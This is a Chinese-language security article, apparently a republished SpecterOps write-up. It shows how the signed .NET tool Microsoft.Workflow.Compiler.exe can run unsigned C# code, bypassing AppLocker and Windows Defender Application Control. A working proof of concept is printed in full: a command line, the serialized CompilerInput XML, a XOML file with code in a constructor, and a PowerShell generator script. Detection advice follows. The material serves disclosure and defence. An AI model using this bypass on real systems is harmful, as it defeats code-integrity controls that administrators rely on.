如何利用Microsoft.Workflow.Comiler.exe執行未簽名的任意程式碼
繞過技術簡介
Microsoft.Workflow.Comiler.exe是.NET Framework預設自帶的一個實用工具,使用者能夠以XOML工作流檔案的形式提供一個序列化工作流來執行任意未簽名的程式碼。這種繞過技術跟CaseySmith的 ofollow,noindex" target="_blank">msbuild.exe繞過技術 的工作機制非常類似。Microsoft.Workflow.Comiler.exe需要兩個命令列引數,第一個引數必須是一個XML檔案(由一個序列化CompilerInput物件構成)的路徑,第二個引數則是寫入序列化編譯結果的檔案路徑。
執行向量的根節點是Microsoft.Workflow.Comiler.exe呼叫攻擊者提供的Assembly.Load(byte[])方法,但是僅僅載入編譯檔案並不能實現程式碼執行,當攻擊者以XOML檔案的形式提供C#或VB.Net程式碼時,系統在彙編過程中會呼叫類構造器,這裡唯一的限制是類構造器必須派生自System.Workflow.ComponentModel.Activity類。
這種技術可以繞過目前很多安全產品上的程式碼完整性控制機制,例如WindowsDefender應用程式控制(包括Windows 10S)、AppLocker以及其他基於應用白名單的產品。但是這裡我們並不是要擔心如何繞過應用白名單,我們需要關注的是如何通過已簽名且受信任程度高的內建應用程式來執行任意未簽名的程式碼。
下面給大家提供了一個演示視訊,在這個視訊中我們會在最新版本的Windows 10S系統(已安裝完所有更新補丁)上實現任意程式碼執行:
演示視訊
繞過技術PoC
攻擊流程如下:
1.將製作的XOML檔案儲存到目標磁碟中,XOML檔案中應包含攻擊者提供的C#或VB.Net程式碼以供編譯、載入和呼叫。攻擊邏輯需在類建構函式中實現,該類派生自System.Workflow.ComponetModel.Activity類。
2.將包含序列化CompilerInput物件的XML檔案儲存到目標磁碟中。
3.提供XML路徑,執行Microsoft.Workflow.Comiler.exe。
下面給出的是Microsoft.Workflow.Comiler.exe的呼叫樣例:
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exetest.xml results.xml
test.xml檔案的內容如下:
<?xml version="1.0"encoding="utf-8"?>
<CompilerInput xmlns:i=" http://www.w3.org/2001/XMLSchema-instance "xmlns=" http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler ">
<filesxmlns:d2p1=" http://schemas.microsoft.com/2003/10/Serialization/Arrays ">
<d2p1:string>test.xoml</d2p1:string>
</files>
<parameters xmlns:d2p1=" http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler ">
<assemblyNamesxmlns:d3p1=" http://schemas.microsoft.com/2003/10/Serialization/Arrays "xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<compilerOptionsi:nil="true"xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<coreAssemblyFileNamexmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "></coreAssemblyFileName>
<embeddedResourcesxmlns:d3p1=" http://schemas.microsoft.com/2003/10/Serialization/Arrays "xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<evidencexmlns:d3p1=" http://schemas.datacontract.org/2004/07/System.Security.Policy "i:nil="true" xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<generateExecutablexmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler ">false</generateExecutable>
<generateInMemoryxmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler ">true</generateInMemory>
<includeDebugInformationxmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler ">false</includeDebugInformation>
<linkedResourcesxmlns:d3p1=" http://schemas.microsoft.com/2003/10/Serialization/Arrays "xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<mainClass i:nil="true"xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<outputNamexmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "></outputName>
<tempFiles i:nil="true"xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<treatWarningsAsErrorsxmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler ">false</treatWarningsAsErrors>
<warningLevelxmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler ">-1</warningLevel>
<win32Resource i:nil="true"xmlns=" http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler "/>
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptionsi:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPathsxmlns:d3p1=" http://schemas.microsoft.com/2003/10/Serialization/Arrays "i:nil="true" />
<d2p1:localAssemblyxmlns:d3p1=" http://schemas.datacontract.org/2004/07/System.Reflection "i:nil="true" />
<d2p1:mtInfo i:nil="true"/>
<d2p1:userCodeCCUsxmlns:d3p1=" http://schemas.datacontract.org/2004/07/System.CodeDom "i:nil="true" />
</parameters>
</CompilerInput>
test.xoml檔案的內容如下:
<SequentialWorkflowActivityx:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x=" http://schemas.microsoft.com/winfx/2006/xaml "xmlns=" http://schemas.microsoft.com/winfx/2006/xaml/workflow ">
<CodeActivity x:Name="codeActivity1" />
<x:Code><![CDATA[
public class Foo : SequentialWorkflowActivity {
public Foo() {
Console.WriteLine("FOOO!!!!");
}
}
]]></x:Code>
</SequentialWorkflowActivity>
呼叫Microsoft.Workflow.Compiler.exe之後,它將會編譯其中的C#程式碼、載入已編譯的DLL、並呼叫“Foo”構造器。
漏洞的發現過程
我個人比較喜歡去研究關於.NET Framework方法的安全問題,比如說其中一個不安全的方法就是Assembly.Load(byte[])。這裡我選擇使用 dnSpy工具 來進行掃描判斷,並在System.Workflow.ComponentModel.Compiler.WorkflowCompilerInternal.Compile方法中找到了如下所示的程式碼段:
分析GenerateLocalAssembly方法的工作流程之後,我發現這個方法最終會呼叫標準的.NET編譯/載入方法【 相關資料 】:
僅僅載入一個彙編程式並不能實現任意程式碼執行,不過幸運的是,System.Workflow.ComponentModel.Compiler.XomlCompilerHelper.InternalCompileFromDomBatch方法會遍歷所有已載入的彙編程式,然後例項化所有繼承了System.Workflow.ComponentModel.Activity類的例項:
現在,我們幾乎已經看到了任意程式碼執行的“希望了”,接下來我們需要弄清楚到底使用哪種程式碼格式,才能讓程式的編譯器接收輸入資料以及XOML工作流檔案。
當Microsoft.Workflow.Compiler.exe啟動時,會將第一個引數傳遞給ReadCompilerInput方法,該方法接收到檔案路徑之後,會將其反序列化為CompilerInput物件:
那麼現在的問題就在於,如何才能生成序列化的CompilerInput物件呢?這裡我找到了一個名叫Microsoft.Workflow.Compiler.CompilerWrapper.SerializeInputToWrapper的內部方法:
我還專門編寫了一個Shell/">PowerShell函式來實現XML檔案的自動生成:
function New-CompilerInputXml { <# .SYNOPSIS Creates a an XML file consisting of aserialized CompilerInput object. .DESCRIPTION New-CompilerInputXml creates an XML fileconsisting of compiler options. This file is required as the first argument forMicrosoft.Workflow.Compiler.exe. .PARAMETER XOMLPath Specifies the path to the target XOMLfile. This can be a relative or absolute path. This path will be included inthe resulting XML file that New-CompilerInputXml outputs. .PARAMETER OutputPath Specifies the path to whichNew-CompilerInputXml will save the serialized CompilerInput object. .EXAMPLE New-CompilerInputXml -XOMLPathC:\Test\foo.xoml -OutputPath test.xml Outputs a serialized CompilerInput objectto test.xml and specifies a full path to a XOML assembly reference. .EXAMPLE New-CompilerInputXml -XOMLPath foo.xoml-OutputPath test.txt Outputs a serialized CompilerInput objectto test.txt and specifies a XOML assembly reference using a relative path. Notethat Microsoft.Workflow.Compiler.exe doesn't care about the extension suppliedin the first argument. .OUTPUTS System.IO.FileInfo Outputs a FileInfo object to serve asconfirmation that the resulting serialized XML wil was created. #> [OutputType([System.IO.FileInfo])] param ( [String] [ValidateNotNullOrEmpty()] $XOMLPath = 'test.xoml', [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $OutputPath ) # This assembly won't be loaded by default. We need to load # it in order to get access to the WorkflowCompilerParameters class. Add-Type -AssemblyName 'System.Workflow.ComponentModel' # This class contains the properties we need to specify forMicrosoft.Workflow.Compiler.exe $WFCompilerParams = New-Object -TypeNameWorkflow.ComponentModel.Compiler.WorkflowCompilerParameters # Necessary to get Microsoft.Workflow.Compiler.exe to callAssembly.Load(byte[]) $WFCompilerParams.GenerateInMemory = $True # Full path to Microsoft.Workflow.Compiler.exe that we will load andaccess a non-public method from $WorkflowCompilerPath =[Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() +'Microsoft.Workflow.Compiler.exe' # Load the assembly $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath) # This is the helper method that will serialize the CompilerInput objectto disk $SerializeInputToWrapper =[Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper',[Reflection.BindingFlags] 'NonPublic, Static') $TempFile = $SerializeInputToWrapper.Invoke($null,@([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters]$WFCompilerParams, [String[]] @(,$OutputPath))) Move-Item $TempFile $OutputPath -PassThru }
實際上我們只需要改變序列化CompilerInput物件中XOML檔案的路徑/檔名即可。
最後,我們需要將生成的C#程式碼嵌入到XOML檔案中,最後通過Microsoft.Workflow.Compiler.exe來呼叫我們的惡意函式。
整個過程就是這樣,不過我現在仍不清楚Microsoft.Workflow.Compiler.exe的真正用途到底是什麼,而且XOML檔案的意義我也不清楚,但是我感覺這個程式可能主要是給微軟內部人員使用的。
檢測方法
1.首先,檢查當前系統中Microsoft.Workflow.Compiler.exe的使用情況,一般來說系統幾乎不會用到這個工具。在Microsoft.Workflow.Compiler.exe每次執行時都產生警報,由於攻擊者可以對該工具進行重新命名,因此我們還需要構建 相應的檢測規則 。
2.攻擊者在結合Microsoft.Workflow.Compiler.exe執行惡意軟體時,會生成一個csc.exe或vbc.exe子程序,可以通過檢測這兩個子程序來判斷系統的安全狀況。
3.在構建和部署Yara規則時,如果檔案中包含CompilerInput標籤,那麼該檔案則可以標記為“可疑檔案”。
針對上述的三種檢測方法,我開發了一個Payload生成/測試工具,大家可以利用該工具來判斷各自系統中安全檢測方法的有效性:【 下載地址 】
*參考來源: specterops ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM